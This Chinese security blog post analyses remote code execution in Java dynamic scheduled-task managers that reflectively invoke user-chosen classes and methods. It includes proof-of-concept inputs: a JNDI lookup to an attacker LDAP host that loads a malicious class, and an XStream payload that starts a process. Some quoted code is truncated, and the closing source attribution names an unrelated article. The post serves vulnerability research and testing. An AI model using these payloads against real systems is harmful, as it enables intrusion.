前言
  在实际的生产业务中经常会接触到定时任务的问题。比如说,数据库定时备份,日志定时压缩,数据定时上传等等。当然,不同的定时任务,实现方式也会不尽相同。有的可能会借助操作系统的定时任务功能。但有些定时任务,就需要通过编码实现了,比如电商平台 30 分钟后自动取消未支付的订单,以及银行凌晨的数据汇总、对账和备份等。
可以通过多种方式/框架实现定时任务的效果。例如xxl-job、Spring task、quartz等。其各有优劣,例如spring task配置很简单,相当于一个轻量级的quartz,能够满足实际开发中的绝大部分场景。
常见的业务场景中,常常需要动态增删启停定时任务,通过可视化的管理界面来动态管理。spring task就不是很适用了。有一种方式是通过Quartz框架,结合调用方法和参数反射调用来实现。例如如下的可视化管理界面(添加任务):
动态定时任务
相关实现
在网上找了一下相关的实现demo,主要实现思路是根据任务表里面的实体建立对应策略的任务实例,创建好对应的任务模版:
```java
/*
* 定时调度具体工作类
/
@Component("v2Task")
@Slf4j
public class V2Task {
/**
* 无参的任务
*/
public void runTask1() {
log.info("正在执行定时任务,无参方法");
}
/**
* 有参任务
* 目前仅执行常见的数据类型 Integer Long 带L string 带 '' bool Double 带 d
* @param a
* @param b
*/
public void runTask2(Integer a,Long b,String c,Boolean d,Double e) {
log.info("正在执行定时任务,带多个参数的方法"+a+" "+b+" "+c+" "+d+" "+e+"执行时间:"+new Date().toLocaleString());
}
}
```
然后根据调用方法和参数反射动态创建、调用对应方法,核心工具类如下:
```java
public class JobInvokeUtil
{
/*
* 执行方法
*
* @param sysJob 系统任务
/
public static void invokeMethod(SysJob sysJob) throws Exception
{
String invokeTarget = sysJob.getInvokeTarget();
String beanName = getBeanName(invokeTarget);
String methodName = getMethodName(invokeTarget);
List
if (!isValidClassName(beanName))
{
Object bean = SpringUtils.getBean(beanName);
invokeMethod(bean, methodName, methodParams);
}
else
{
Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);
}
}
/**
* 调用任务方法
*
* @param bean 目标对象
* @param methodName 方法名称
* @param methodParams 方法参数
*/
private static void invokeMethod(Object bean, String methodName, List<Object[]> methodParams)
throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException,
InvocationTargetException
{
if (StringUtils.isNotNull(methodParams) && methodParams.size() > 0)
{
Method method = bean.getClass().getDeclaredMethod(methodName, getMethodParamsType(methodParams));
method.invoke(bean, getMethodParamsValue(methodParams));
}
else
{
Method method = bean.getClass().getDeclaredMethod(methodName);
method.invoke(bean);
}
}
......
......
}
```
动态调用任意类任意方法导致RCE
通过分析上述代码,其class、method以及相关method参数均可控,并且无任何黑白名单限制,直接动态调用任意类任意方法。这里搭建环境尝试复现。
最容易想到的就是通过反射Runtime或者反射来获取ProcessBuilder构造函数,然后调用 start() 来执行命令。看看具体的反射方法:
java
Method method = bean.getClass().getDeclaredMethod(methodName, getMethodParamsType(methodParams));
method.invoke(bean, getMethodParamsValue(methodParams));
很明显,直接通过如下方式来执行命令是不行的,因为Runtime 类的构造方法是私有的,其是单例模式,只能通过 Runtime.getRuntime() 来获取到 Runtime 对象。那么根据具体的反射方法这个思路不可行:
java
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "whoami");
通过ProcessBuilder来执行命令也是不可行的:
java
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(
Arrays.asList("calc.exe")));
尝试别的思路,查看其获取内容的相关方法,主要是通过切割用户输入的方式来获取className、MethodName还有对应的MethodParam的:
```java
/*
* 获取bean名称
*
* @param invokeTarget 目标字符串
* @return bean名称
/
public static String getBeanName(String invokeTarget)
{
String beanName = StringUtils.substringBefore(invokeTarget, "(");
return StringUtils.substringBeforeLast(beanName, ".");
}
/**
* 获取bean方法
*
* @param invokeTarget 目标字符串
* @return method方法
*/
public static String getMethodName(String invokeTarget)
{
String methodName = StringUtils.substringBefore(invokeTarget, "(");
return StringUtils.substringAfterLast(methodName, ".");
}
/**
* 获取method方法参数相关列表
*
* @param invokeTarget 目标字符串
* @return method方法相关参数列表
*/
public static List<Object[]> getMethodParams(String invokeTarget)
{
if (StringUtils.isEmpty(methodStr))
{
return null;
}
String[] methodParams = methodStr.split(",");
List<Object[]> classs = new LinkedList<>();
for (int i = 0; i < methodParams.length; i++)
{
String str = StringUtils.trimToEmpty(methodParams[i]);
// String字符串类型,包含'
if (StringUtils.contains(str, "'"))
{
classs.add(new Object[] { StringUtils.replace(str, "'", ""), String.class });
}
// boolean布尔类型,等于true或者false
else if (StringUtils.equals(str, "true") || StringUtils.equalsIgnoreCase(str, "false"))
{
classs.add(new Object[] { Boolean.valueOf(str), Boolean.class });
}
// long长整形,包含L
else if (StringUtils.containsIgnoreCase(str, "L"))
{
classs.add(new Object[] { Long.valueOf(StringUtils.replaceIgnoreCase(str, "L", "")), Long.class });
}
// double浮点类型,包含D
else if (StringUtils.containsIgnoreCase(str, "D"))
{
classs.add(new Object[] { Double.valueOf(StringUtils.replaceIgnoreCase(str, "D", "")), Double.class });
}
// 其他类型归类为整形
else
{
classs.add(new Object[] { Integer.valueOf(str), Integer.class });
}
}
return classs;
}
```
那么根据相关的切割方式,可以考虑结合ldap、rmi等方式进行利用,相关poc如下:
java
javax.naming.InitialContext.lookup('ldap://ip:port/EvilObj')
然后开启ldap服务并请求恶意类Exploit。通过创建定时任务,最后成功执行计算器命令(这里直接请求本地ldap服务了,实际场景是需要考虑jdk版本的):
除此之外,还可以考虑jar组件中的相关class以及组件漏洞进行利用。例如Xstream的漏洞一般依赖于具体代码实现以及相关接口请求,比较难利用,那么就可以尝试使用如下poc进行利用:
xml
com.thoughtworks.xstream.XStream.fromXML('<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>open</string><string>/Applications/Calculator.app</string></command></target><action>start</action></handler></dynamic-proxy></sorted-set>')
当然了。前提必须保证相关param不会被二次处理。同样的也可以考虑Java自带的表达式类调用,例如javax.el.ELProcessor等。具体情况具体处理。
拓展与延伸
除了上面的例子以外,在github搜了一下其他项目的实现方法,也存在类似的问题。例如通过改造org.springframework.scheduling.ScheduledTaskRegistrar
实现动态增删启停定时任务功能。相关代码也是通过调用方法和参数反射的方式来实现的:
```java
public class SchedulingRunnable implements Runnable {
private static final Logger logger = LoggerFactory.getLogger(SchedulingRunnable.class);
private String beanName;
private String methodName;
private String params;
public SchedulingRunnable(String beanName, String methodName) {
this(beanName, methodName, null);
}
public SchedulingRunnable(String beanName, String methodName, String params) {
this.beanName = beanName;
this.methodName = methodName;
this.params = params;
}
@Override
public void run() {
logger.info("定时任务开始执行 - bean:{},方法:{},参数:{}", beanName, methodName, params);
long startTime = System.currentTimeMillis();
try {
Object target = SpringContextUtils.getBean(beanName);
Method method = null;
if (StringUtils.isNotEmpty(params)) {
method = target.getClass().getDeclaredMethod(methodName, String.class);
} else {
method = target.getClass().getDeclaredMethod(methodName);
}
ReflectionUtils.makeAccessible(method);
if (StringUtils.isNotEmpty(params)) {
method.invoke(target, params);
} else {
method.invoke(target);
}
} catch (Exception ex) {
logger.error(String.format("定时任务执行异常 - bean:%s,方法:%s,参数:%s ", beanName, methodName, params), ex);
}
long times = System.currentTimeMillis() - startTime;
logger.info("定时任务执行结束 - bean:{},方法:{},参数:{},耗时:{} 毫秒", beanName, methodName, params, times);
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
SchedulingRunnable that = (SchedulingRunnable) o;
if (params == null) {
return beanName.equals(that.beanName) &&
methodName.equals(that.methodName) &&
that.params == null;
}
return beanName.equals(that.beanName) &&
methodName.equals(that.methodName) &&
params.equals(that.params);
}
@Override
public int hashCode() {
if (params == null) {
return Objects.hash(beanName, methodName);
}
return Objects.hash(beanName, methodName, params);
}
}
```
同理,因为没有相关的白名单限制,只需要class、method以及相关method参数均可控,在一定的条件下即可达到RCE的效果。也就是说在黑盒测试时,对于如下的界面操作,就需要额外关注了:
备注 原文名称:Red Team Privilege Escalation – RBCD Based Privilege Escalation – Part 2 原文地址:https://www.praetorian.com/blog/red-team-pri…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论